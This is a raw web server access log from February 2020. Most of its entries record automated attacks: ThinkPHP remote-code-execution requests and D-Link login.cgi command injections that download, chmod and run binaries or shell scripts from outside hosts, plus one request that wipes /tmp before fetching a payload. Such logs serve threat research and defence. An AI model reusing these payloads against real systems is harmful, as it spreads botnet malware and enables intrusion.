45.83.151.122 - - [10/Feb/2020:00:05:29 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
42.117.20.42 - - [10/Feb/2020:00:05:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.5.248.186 - - [10/Feb/2020:00:06:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.130.109 - - [10/Feb/2020:00:07:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.158.191.155 - - [10/Feb/2020:00:09:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.54.146.248 - - [10/Feb/2020:00:11:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.94.123.147 - - [10/Feb/2020:00:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
203.54.37.77 - - [10/Feb/2020:00:13:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.24.251 - - [10/Feb/2020:00:15:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.59.212.89 - - [10/Feb/2020:00:16:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.177.60 - - [10/Feb/2020:00:16:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.35.10.149 - - [10/Feb/2020:00:18:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.174.253.170 - - [10/Feb/2020:00:18:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
40.77.167.82 - - [10/Feb/2020:00:25:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
42.113.229.10 - - [10/Feb/2020:00:25:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.230.101.127 - - [10/Feb/2020:00:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.81.17.71 - - [10/Feb/2020:00:30:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.119.97 - - [10/Feb/2020:00:36:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.113.62 - - [10/Feb/2020:00:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.215.155 - - [10/Feb/2020:00:38:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.145.61 - - [10/Feb/2020:00:38:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.114.174.95 - - [10/Feb/2020:00:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.174.95 - - [10/Feb/2020:00:39:30 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.174.95 - - [10/Feb/2020:00:39:31 +0100] "GET /sitemap.xml HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.174.95 - - [10/Feb/2020:00:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.174.95 - - [10/Feb/2020:00:39:32 +0100] "GET /ads.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.174.95 - - [10/Feb/2020:00:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
2.134.84.13 - - [10/Feb/2020:00:39:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.73.215.171 - - [10/Feb/2020:00:40:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
86.168.22.207 - - [10/Feb/2020:00:42:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.216.140.6 - - [10/Feb/2020:00:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:44:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:45:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
113.22.191.70 - - [10/Feb/2020:00:45:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.216.140.6 - - [10/Feb/2020:00:46:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:46:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
185.216.140.6 - - [10/Feb/2020:00:47:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.91.59.153 - - [10/Feb/2020:00:48:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.58.227.3 - - [10/Feb/2020:00:49:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.116.140.67 - - [10/Feb/2020:00:49:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.86.159 - - [10/Feb/2020:00:51:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [10/Feb/2020:00:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
112.72.79.96 - - [10/Feb/2020:00:55:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
68.183.68.45 - - [10/Feb/2020:00:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
83.252.118.44 - - [10/Feb/2020:01:00:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.154.107 - - [10/Feb/2020:01:01:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.214.122 - - [10/Feb/2020:01:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.86.80.250 - - [10/Feb/2020:01:07:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
115.53.232.21 - - [10/Feb/2020:01:08:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
31.148.29.173 - - [10/Feb/2020:01:10:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.62.171 - - [10/Feb/2020:01:17:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.198.129 - - [10/Feb/2020:01:17:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.146.189 - - [10/Feb/2020:01:17:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.37.40.251 - - [10/Feb/2020:01:18:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
188.191.27.194 - - [10/Feb/2020:01:20:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.231 - - [10/Feb/2020:01:22:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.9.207.130 - - [10/Feb/2020:01:23:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.163.249.7 - - [10/Feb/2020:01:24:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
182.74.69.251 - - [10/Feb/2020:01:26:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.62.91 - - [10/Feb/2020:01:28:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.186.152.98 - - [10/Feb/2020:01:28:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.200.109 - - [10/Feb/2020:01:29:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.99.101.74 - - [10/Feb/2020:01:30:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
179.99.101.74 - - [10/Feb/2020:01:30:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.134.23.211 - - [10/Feb/2020:01:34:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.209.41.249 - - [10/Feb/2020:01:35:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.87.35.140 - - [10/Feb/2020:01:37:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
168.90.63.197 - - [10/Feb/2020:01:38:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
128.14.134.134 - - [10/Feb/2020:01:39:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
178.91.189.199 - - [10/Feb/2020:01:41:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.200.109 - - [10/Feb/2020:01:44:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.73.215.171 - - [10/Feb/2020:01:44:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
96.126.103.73 - - [10/Feb/2020:01:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.85.91.19 - - [10/Feb/2020:01:45:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.158.0.148 - - [10/Feb/2020:01:46:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.242.89 - - [10/Feb/2020:01:47:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [10/Feb/2020:01:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
178.73.215.171 - - [10/Feb/2020:01:49:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
121.178.8.198 - - [10/Feb/2020:01:53:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [10/Feb/2020:01:53:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [10/Feb/2020:01:53:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [10/Feb/2020:01:53:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.235.218.172 - - [10/Feb/2020:01:53:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [10/Feb/2020:01:53:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.234.100.58 - - [10/Feb/2020:01:55:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.70.4.110 - - [10/Feb/2020:01:58:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.113.62 - - [10/Feb/2020:01:58:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.157.61 - - [10/Feb/2020:02:02:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.20.89 - - [10/Feb/2020:02:02:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.186.100.112 - - [10/Feb/2020:02:06:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.71.142.221 - - [10/Feb/2020:02:08:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.174.238 - - [10/Feb/2020:02:10:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [10/Feb/2020:02:13:07 +0100] "GET / HTTP/1.1" 200 1229 "https://pinup-in.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.119.171.190 - - [10/Feb/2020:02:13:07 +0100] "GET / HTTP/1.1" 200 1229 "https://pinup-in.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.119.171.190 - - [10/Feb/2020:02:13:07 +0100] "GET / HTTP/1.1" 200 1229 "https://pinup-in.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
151.72.206.126 - - [10/Feb/2020:02:19:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
138.59.71.65 - - [10/Feb/2020:02:19:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
183.81.90.215 - - [10/Feb/2020:02:21:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.5.213.75 - - [10/Feb/2020:02:23:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.135.230 - - [10/Feb/2020:02:26:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [10/Feb/2020:02:27:39 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [10/Feb/2020:02:28:35 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
